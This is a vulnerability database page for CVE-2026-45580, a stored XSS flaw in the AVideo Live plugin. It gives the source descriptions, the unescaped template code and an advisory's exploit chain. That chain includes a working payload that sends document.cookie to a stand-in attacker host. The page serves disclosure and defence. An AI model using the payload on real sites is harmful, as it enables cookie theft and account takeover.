Every CVE Search/ Get API key

CVE-2026-45580

WWBN AVideo Live: stored XSS via unescaped stream key in modeYoutubeLive.php class attribute

5.4 Medium

WWBN AVideo is an open source video platform. In 29.0 and earlier, there is a stored cross-site scripting vulnerability. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
Required

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.14%Up 0.1 points since May 30, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.4

WWBN AVideo Live: stored XSS via unescaped stream key in modeYoutubeLive.php class attribute

WWBN AVideo is an open source video platform. In 29.0 and earlier, there is a stored cross-site scripting vulnerability. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin.

Record
CVE-2026-45580
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2026-33311 5.4

WWBN AVideo is an open source video platform. In 29.0 and earlier, there is a stored cross-site scripting vulnerability. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin.

Record
EUVD-2026-33311
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-m5j4-7r85-2cj2 5.4

AVideo: stored XSS via unescaped stream key in modeYoutubeLive.php class attribute

Summary

Type: Stored cross-site scripting. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin. File: plugin/Live/view/modeYoutubeLive.php, line 203. Root cause: the template builds a live-status hook by concatenating the database key into a class name: class="title_liveKey_<?php echo $livet['key'] ?>". There is no escaping. The persistence path plugin/Live/saveLive.php:30 accepts $_REQUEST['key'] verbatim into live_transmitions.key (the auto-generation path uses uniqid(), but the manual save path lets the caller override it with anything). The on_publish.php:117 sanitiser strips only & and =, not ", <, or >, so the poisoned value also passes through every internal data flow. The admin-side rendering of the same field is similarly unescaped, so an admin opening the stream details page gets the same XSS in admin context.

Affected Code

File: plugin/Live/view/modeYoutubeLive.php, lines 195-209.

                            <i class="fas fa-lock"></i>
                        <?php
                        } else {
                        ?>
                            <i class="fas fa-video"></i>
                        <?php
                        }
                        ?>
                        <span class="title_liveKey_<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span>  <!-- BUG: $livet['key'] echoed raw into class attribute -->
                        <small class="text-muted">
                            <?php
                            echo $liveInfo['displayTime'];
                            ?>
                        </small>
                    </h1>

$livet['key'] is the raw stream key out of live_transmitions. The persistence path plugin/Live/saveLive.php:30 is $l->setKey($_REQUEST['key']) (no allowlist), and LiveTransmition::setKey() (Objects/LiveTransmition.php:110-112) is a plain assignment. The DB column has no character-class enforcement (it is a varchar). parent::save() uses prepared SQL, so embedded ", <, >, ' are stored verbatim and round-trip back to this template unchanged.

Why it's wrong: an HTML attribute value must be escaped with htmlspecialchars(..., ENT_QUOTES, 'UTF-8') (or routed through a templating engine that does). The current <?php echo $livet['key'] ?> between class="…" and " lets the attacker close the attribute with ", append arbitrary attributes (onclick, onmouseover, style, srcset, …), or close the tag with > and inject a <script> block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla's secure-coding guide explicitly calls out as the "raw echo into attribute" anti-pattern. Other Live templates (menuRight.php, socket.js) only use key inside JS contexts where they pre-strip [&=], but modeYoutubeLive.php uses it directly in HTML attribute context where that strip is insufficient.

Exploit Chain

  1. Attacker registers (or already holds) an AVideo account with canStream=1. On installations with advancedCustomUser.newUsersCanStream=1 this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated.
  2. Attacker POSTs to https://target/plugin/Live/saveLive.php:
    key=" onmouseover="fetch('//attacker/x?c='+document.cookie)" x="
    title=t&description=d&password=p
    
    saveLive.php:8 confirms User::canStream(), line 30 calls $l->setKey($_REQUEST['key']) and the row is persisted with the literal payload value. State: live_transmitions.key for this user contains the XSS…
Record
GHSA-m5j4-7r85-2cj2
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
NVD 5.4

WWBN AVideo is an open source video platform. In 29.0 and earlier, there is a stored cross-site scripting vulnerability. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin.

Record
CVE-2026-45580
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 5.4

WWBN AVideo Live: stored XSS via unescaped stream key in modeYoutubeLive.php class attribute

WWBN AVideo is an open source video platform. In 29.0 and earlier, there is a stored cross-site scripting vulnerability. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin.

Record
CVE-2026-45580
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-m5j4-7r85-2cj2 5.4

AVideo: stored XSS via unescaped stream key in modeYoutubeLive.php class attribute

Summary

Type: Stored cross-site scripting. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin. File: plugin/Live/view/modeYoutubeLive.php, line 203. Root cause: the template builds a live-status hook by concatenating the database key into a class name: class="title_liveKey_<?php echo $livet['key'] ?>". There is no escaping. The persistence path plugin/Live/saveLive.php:30 accepts $_REQUEST['key'] verbatim into live_transmitions.key (the auto-generation path uses uniqid(), but the manual save path lets the caller override it with anything). The on_publish.php:117 sanitiser strips only & and =, not ", <, or >, so the poisoned value also passes through every internal data flow. The admin-side rendering of the same field is similarly unescaped, so an admin opening the stream details page gets the same XSS in admin context.

Affected Code

File: plugin/Live/view/modeYoutubeLive.php, lines 195-209.

                            <i class="fas fa-lock"></i>
                        <?php
                        } else {
                        ?>
                            <i class="fas fa-video"></i>
                        <?php
                        }
                        ?>
                        <span class="title_liveKey_<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span>  <!-- BUG: $livet['key'] echoed raw into class attribute -->
                        <small class="text-muted">
                            <?php
                            echo $liveInfo['displayTime'];
                            ?>
                        </small>
                    </h1>

$livet['key'] is the raw stream key out of live_transmitions. The persistence path plugin/Live/saveLive.php:30 is $l->setKey($_REQUEST['key']) (no allowlist), and LiveTransmition::setKey() (Objects/LiveTransmition.php:110-112) is a plain assignment. The DB column has no character-class enforcement (it is a varchar). parent::save() uses prepared SQL, so embedded ", <, >, ' are stored verbatim and round-trip back to this template unchanged.

Why it's wrong: an HTML attribute value must be escaped with htmlspecialchars(..., ENT_QUOTES, 'UTF-8') (or routed through a templating engine that does). The current <?php echo $livet['key'] ?> between class="…" and " lets the attacker close the attribute with ", append arbitrary attributes (onclick, onmouseover, style, srcset, …), or close the tag with > and inject a <script> block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla's secure-coding guide explicitly calls out as the "raw echo into attribute" anti-pattern. Other Live templates (menuRight.php, socket.js) only use key inside JS contexts where they pre-strip [&=], but modeYoutubeLive.php uses it directly in HTML attribute context where that strip is insufficient.

Exploit Chain

  1. Attacker registers (or already holds) an AVideo account with canStream=1. On installations with advancedCustomUser.newUsersCanStream=1 this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated.
  2. Attacker POSTs to https://target/plugin/Live/saveLive.php:
    key=" onmouseover="fetch('//attacker/x?c='+document.cookie)" x="
    title=t&description=d&password=p
    
    saveLive.php:8 confirms User::canStream(), line 30 calls $l->setKey($_REQUEST['key']) and the row is persisted with the literal payload value. State: live_transmitions.key for this user contains the XSS…
Record
GHSA-m5j4-7r85-2cj2
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
WWBN/AVideo
Packagist
through 29.0 None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-45580 is a medium vulnerability (CVSS 5.4) in Wwbn Avideo, published May 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.14%, the 3rd percentile. No source names a fixed version.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open